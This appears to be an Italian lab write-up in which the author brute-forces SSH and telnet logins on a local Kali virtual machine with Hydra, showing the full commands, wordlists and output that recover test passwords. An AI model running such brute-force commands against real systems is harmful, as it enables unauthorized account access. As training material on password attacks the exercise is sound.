

Testiamo il funzionamento della connessione SSH con l'utenza appena creata (test_user):

```
(kali@kali)-[/etc/ssh]
$ ssh test_user@192.168.50.2
The authenticity of host '192.168.50.2 (192.168.50.2)' can't be established.
ED25519 key fingerprint is SHA256:hREfdzgX8ZNVpWxVvARHBJlnRLe1FE+IsbZkLD/RfK4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.2' (ED25519) to the list of known hosts.
test_user@192.168.50.2's password:
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
```

Adesso lanciamo Hydra per fare un tentativo di brute force:

```
(kali@kali)-[/usr/share/seclists]
$ sudo hydra -L ./Usernames/xato-net-10-million-usernames.txt -P ./Passwords/Leaked-Databases/eliteha
cker.txt 192.168.50.2 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 06:03:20
```

Dopo qualche minuto il programma trova le credenziali con successo:

```
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "slovenia" - 175 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "slipknot" - 176 of 7432728576 [child 1] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "slampa" - 177 of 7432728576 [child 2] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "skar23" - 178 of 7432728576 [child 0] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "sithlord" - 179 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "single1" - 180 of 7432728576 [child 2] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "sindy28" - 181 of 7432728576 [child 0] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "sinder" - 182 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "simple" - 183 of 7432728576 [child 2] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "silverwing" - 184 of 7432728576 [child 0] (0/0)
)
STATUS] 26.29 tries/min, 184 tries in 00:07h, 7432728392 to do in 4712780:42h, 4 active
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "siberia" - 185 of 7432728576 [child 1] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "shortcut" - 186 of 7432728576 [child 1] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "shithead" - 187 of 7432728576 [child 2] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "testpass" - 188 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "test_user" - pass "shibboleth" - 189 of 7432728576 [child 0] (0/0)
)
[22][ssh] host: 192.168.50.2 login: test_user password: testpass
ATTEMPT] target 192.168.50.2 - login "info" - pass "123456" - 897 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "info" - pass "password" - 898 of 7432728576 [child 1] (0/0)
ATTEMPT] target 192.168.50.2 - login "info" - pass "12345" - 899 of 7432728576 [child 3] (0/0)
ATTEMPT] target 192.168.50.2 - login "info" - pass "passport" - 900 of 7432728576 [child 2] (0/0)
```

Dopo aver avviato il servizio telnet sull'utenza principale di Kali, facciamo un tentativo con Hydra anche qui con delle liste personalizzate:

```
(kali㉿kali)-[~]  
$ sudo hydra -L ./username -P ./passwords 192.168.50.2 telnet -t4 -V  
[sudo] password for kali:  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service  
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:02:41  
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 72 login tries (l:8/p:9), ~18 tries per task  
[DATA] attacking telnet://192.168.50.2:23/  
[ATTEMPT] target 192.168.50.2 - login "kali" - pass "kali" - 1 of 72 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.2 - login "kali" - pass "bomba" - 2 of 72 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.2 - login "kali" - pass "peppe" - 3 of 72 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.2 - login "kali" - pass "pazzo1" - 4 of 72 [child 3] (0/0)  
[23][telnet] host: 192.168.50.2 login: kali password: kali
```

Il brute force ha avuto pieno successo anche su questo servizio.